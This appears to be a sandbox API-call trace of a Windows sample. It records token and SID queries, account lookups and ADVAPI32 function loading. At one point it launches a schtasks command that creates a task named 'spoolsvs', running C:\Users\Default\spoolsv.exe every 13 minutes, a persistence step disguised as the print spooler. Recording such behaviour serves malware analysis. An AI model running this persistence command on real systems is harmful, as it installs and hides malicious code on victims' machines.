dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0158.982] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0158.982] GetLastError () returned 0x7a [0158.982] malloc (_Size=0x2c) returned 0x2b8b50 [0158.982] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0158.982] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0158.982] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0158.982] malloc (_Size=0x1c) returned 0x2b86e0 [0158.982] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0158.982] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0158.982] malloc (_Size=0x18) returned 0x2af240 [0158.982] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0158.983] malloc (_Size=0x18) returned 0x2af1a0 [0158.983] malloc (_Size=0x18) returned 0x2af180 [0158.983] SysStringLen (param_1="S-1-") returned 0x4 [0158.983] SysStringLen (param_1="5") returned 0x1 [0158.983] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xa | out: _Dst=0x142458) returned 0x142458 [0158.983] memcpy (in: _Dst=0x142460, _Src=0x142578, _Size=0x4 | out: _Dst=0x142460) returned 0x142460 [0158.983] free (_Block=0x2af240) [0158.983] free (_Block=0x2af1a0) [0158.983] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0158.983] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0158.983] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0158.983] malloc (_Size=0x18) returned 0x2af1a0 [0158.983] malloc (_Size=0x18) returned 0x2af240 [0158.983] SysStringLen (param_1="S-1-5") returned 0x5 [0158.983] SysStringLen (param_1="-") returned 0x1 [0158.983] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0xc | out: _Dst=0x142578) returned 0x142578 [0158.983] memcpy (in: _Dst=0x142582, _Src=0x142518, _Size=0x4 | out: _Dst=0x142582) returned 0x142582 [0158.983] free (_Block=0x2af180) [0158.983] free (_Block=0x2af1a0) [0158.984] malloc (_Size=0x18) returned 0x2af1a0 [0158.984] malloc (_Size=0x18) returned 0x2af180 [0158.984] SysStringLen (param_1="S-1-5-") returned 0x6 [0158.984] SysStringLen (param_1="21") returned 0x2 [0158.984] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xe | out: _Dst=0x142518) returned 0x142518 [0158.984] memcpy (in: _Dst=0x142524, _Src=0x142458, _Size=0x6 | out: _Dst=0x142524) returned 0x142524 [0158.984] free (_Block=0x2af240) [0158.984] free (_Block=0x2af1a0) [0158.984] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0158.984] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0158.984] malloc (_Size=0x18) returned 0x2af1a0 [0158.984] malloc (_Size=0x18) returned 0x2af240 [0158.984] SysStringLen (param_1="S-1-5-21") returned 0x8 [0158.984] SysStringLen (param_1="-") returned 0x1 [0158.984] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0x12 | out: _Dst=0x142458) returned 0x142458 [0158.984] memcpy (in: _Dst=0x142468, _Src=0x142578, _Size=0x4 | out: _Dst=0x142468) returned 0x142468 [0158.984] free (_Block=0x2af180) [0158.984] free (_Block=0x2af1a0) [0158.984] malloc (_Size=0x18) returned 0x2af1a0 [0158.984] malloc (_Size=0x18) returned 0x2af180 [0158.985] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0158.985] SysStringLen (param_1="4219442223") returned 0xa [0158.985] memcpy (in: _Dst=0x118038, _Src=0x142458, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0158.985] memcpy (in: _Dst=0x11804a, _Src=0x142518, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0158.985] free (_Block=0x2af240) [0158.985] free (_Block=0x2af1a0) [0158.985] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0158.985] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0158.985] malloc (_Size=0x18) returned 0x2af1a0 [0158.985] malloc (_Size=0x18) returned 0x2af240 [0158.985] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0158.985] SysStringLen (param_1="-") returned 0x1 [0158.985] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0158.985] memcpy (in: _Dst=0x1182de, _Src=0x142458, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0158.985] free (_Block=0x2af180) [0158.985] free (_Block=0x2af1a0) [0158.985] malloc (_Size=0x18) returned 0x2af1a0 [0158.985] malloc (_Size=0x18) returned 0x2af180 [0158.985] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0158.985] SysStringLen (param_1="4223814209") returned 0xa [0158.986] memcpy (in: _Dst=0x12dc48, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0158.986] memcpy (in: _Dst=0x12dc70, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0158.986] free (_Block=0x2af240) [0158.986] free (_Block=0x2af1a0) [0158.986] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0158.986] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0158.986] malloc (_Size=0x18) returned 0x2af1a0 [0158.986] malloc (_Size=0x18) returned 0x2af240 [0158.986] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0158.986] SysStringLen (param_1="-") returned 0x1 [0158.986] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0158.986] memcpy (in: _Dst=0x1075c4, _Src=0x142458, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0158.986] free (_Block=0x2af180) [0158.986] free (_Block=0x2af1a0) [0158.986] malloc (_Size=0x18) returned 0x2af1a0 [0158.986] malloc (_Size=0x18) returned 0x2af180 [0158.986] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0158.986] SysStringLen (param_1="3835049652") returned 0xa [0158.986] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0158.986] memcpy (in: _Dst=0x12dc86, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0158.987] free (_Block=0x2af240) [0158.987] free (_Block=0x2af1a0) [0158.987] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0158.987] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0158.987] malloc (_Size=0x18) returned 0x2af1a0 [0158.987] malloc (_Size=0x18) returned 0x2af240 [0158.987] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0158.987] SysStringLen (param_1="-") returned 0x1 [0158.987] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0158.987] memcpy (in: _Dst=0x1075da, _Src=0x142458, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0158.987] free (_Block=0x2af180) [0158.987] free (_Block=0x2af1a0) [0158.987] malloc (_Size=0x18) returned 0x2af1a0 [0158.987] malloc (_Size=0x18) returned 0x2af180 [0158.988] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0158.988] SysStringLen (param_1="1000") returned 0x4 [0158.988] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0158.988] memcpy (in: _Dst=0x12dc9c, _Src=0x142458, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0158.988] free (_Block=0x2af240) [0158.989] free (_Block=0x2af1a0) [0158.989] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0158.989] malloc (_Size=0x5e) returned 0x2b0ad0 [0158.989] free (_Block=0x2af180) [0158.989] malloc (_Size=0x18) returned 0x2af180 [0158.989] free (_Block=0x2b0ad0) [0158.989] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0158.990] GetLastError () returned 0x7a [0158.990] malloc (_Size=0x14) returned 0x2af1a0 [0158.990] malloc (_Size=0x16) returned 0x2af240 [0158.990] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca94, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0158.991] malloc (_Size=0x18) returned 0x2af280 [0158.991] malloc (_Size=0x18) returned 0x2af260 [0158.991] free (_Block=0x2af1a0) [0158.991] free (_Block=0x2af240) [0158.991] free (_Block=0x2b86e0) [0158.991] free (_Block=0x2af260) [0158.991] free (_Block=0x2af280) [0158.991] free (_Block=0x2af180) [0158.992] free (_Block=0x2b8b50) [0158.992] malloc (_Size=0x48) returned 0x2ad6d0 [0158.992] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0158.997] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0158.997] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0158.997] malloc (_Size=0x18) returned 0x2af180 [0158.997] CreateEnvironmentBlock () returned 0x1 [0159.034] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0159.034] malloc (_Size=0x18) returned 0x2af280 [0159.034] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x8b0, dwThreadId=0x8b4)) returned 1 [0159.038] CloseHandle (hObject=0x300) returned 1 [0159.038] CloseHandle (hObject=0x2fc) returned 1 [0159.038] free (_Block=0x2af280) [0159.038] DestroyEnvironmentBlock () returned 0x1 [0159.038] malloc (_Size=0x48) returned 0x2ad680 [0159.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2b03bf00, dwHighDateTime=0x1d8a92a)) [0159.038] SetEvent (hEvent=0x1f0) returned 1 [0159.039] CloseHandle (hObject=0x2d4) returned 1 [0159.039] CloseHandle (hObject=0x234) returned 1 [0159.135] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0159.136] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0159.136] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0159.661] SetLastError (dwErrCode=0x0) [0159.661] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0159.661] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0159.661] SetLastError (dwErrCode=0x0) [0159.661] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0159.661] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0159.661] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0159.661] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0159.661] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0159.661] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0159.662] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0159.663] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0159.663] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0159.663] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0159.663] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0159.663] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0159.663] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0159.665] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0159.665] GetCurrentThread () returned 0xfffffffffffffffe [0159.665] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x244) returned 1 [0159.665] malloc (_Size=0xd8) returned 0x2b90e0 [0159.665] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0159.665] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0159.665] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0159.666] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0159.667] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0159.667] malloc (_Size=0x18) returned 0x2af180 [0159.667] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x1ec) returned 1 [0159.668] malloc (_Size=0x48) returned 0x2ad680 [0159.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2b6094a0, dwHighDateTime=0x1d8a92a)) [0159.668] SetEvent (hEvent=0x1f0) returned 1 [0159.670] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0159.670] GetLastError () returned 0x7a [0159.670] malloc (_Size=0x2c) returned 0x2b8b10 [0159.670] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0159.670] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0159.670] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0159.670] malloc (_Size=0x1c) returned 0x2b8710 [0159.670] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0159.670] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0159.670] malloc (_Size=0x18) returned 0x2af180 [0159.670] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0159.670] malloc (_Size=0x18) returned 0x2af280 [0159.670] malloc (_Size=0x18) returned 0x2af260 [0159.670] SysStringLen (param_1="S-1-") returned 0x4 [0159.670] SysStringLen (param_1="5") returned 0x1 [0159.671] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0xa | out: _Dst=0x142338) returned 0x142338 [0159.671] memcpy (in: _Dst=0x142340, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142340) returned 0x142340 [0159.671] free (_Block=0x2af180) [0159.671] free (_Block=0x2af280) [0159.671] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0159.671] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0159.671] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0159.671] malloc (_Size=0x18) returned 0x2af280 [0159.671] malloc (_Size=0x18) returned 0x2af180 [0159.671] SysStringLen (param_1="S-1-5") returned 0x5 [0159.671] SysStringLen (param_1="-") returned 0x1 [0159.671] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xc | out: _Dst=0x1424e8) returned 0x1424e8 [0159.671] memcpy (in: _Dst=0x1424f2, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f2) returned 0x1424f2 [0159.671] free (_Block=0x2af260) [0159.671] free (_Block=0x2af280) [0159.671] malloc (_Size=0x18) returned 0x2af280 [0159.671] malloc (_Size=0x18) returned 0x2af260 [0159.671] SysStringLen (param_1="S-1-5-") returned 0x6 [0159.671] SysStringLen (param_1="21") returned 0x2 [0159.671] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xe | out: _Dst=0x1424b8) returned 0x1424b8 [0159.671] memcpy (in: _Dst=0x1424c4, _Src=0x142338, _Size=0x6 | out: _Dst=0x1424c4) returned 0x1424c4 [0159.671] free (_Block=0x2af180) [0159.671] free (_Block=0x2af280) [0159.671] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0159.671] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0159.671] malloc (_Size=0x18) returned 0x2af280 [0159.671] malloc (_Size=0x18) returned 0x2af180 [0159.672] SysStringLen (param_1="S-1-5-21") returned 0x8 [0159.672] SysStringLen (param_1="-") returned 0x1 [0159.672] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0x12 | out: _Dst=0x142338) returned 0x142338 [0159.672] memcpy (in: _Dst=0x142348, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142348) returned 0x142348 [0159.672] free (_Block=0x2af260) [0159.672] free (_Block=0x2af280) [0159.672] malloc (_Size=0x18) returned 0x2af280 [0159.672] malloc (_Size=0x18) returned 0x2af260 [0159.672] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0159.672] SysStringLen (param_1="4219442223") returned 0xa [0159.672] memcpy (in: _Dst=0x1179a8, _Src=0x142338, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0159.672] memcpy (in: _Dst=0x1179ba, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0159.672] free (_Block=0x2af180) [0159.672] free (_Block=0x2af280) [0159.672] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0159.672] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0159.672] malloc (_Size=0x18) returned 0x2af280 [0159.672] malloc (_Size=0x18) returned 0x2af180 [0159.672] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0159.672] SysStringLen (param_1="-") returned 0x1 [0159.672] memcpy (in: _Dst=0x118088, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x118088) returned 0x118088 [0159.672] memcpy (in: _Dst=0x1180ae, _Src=0x142338, _Size=0x4 | out: _Dst=0x1180ae) returned 0x1180ae [0159.672] free (_Block=0x2af260) [0159.672] free (_Block=0x2af280) [0159.672] 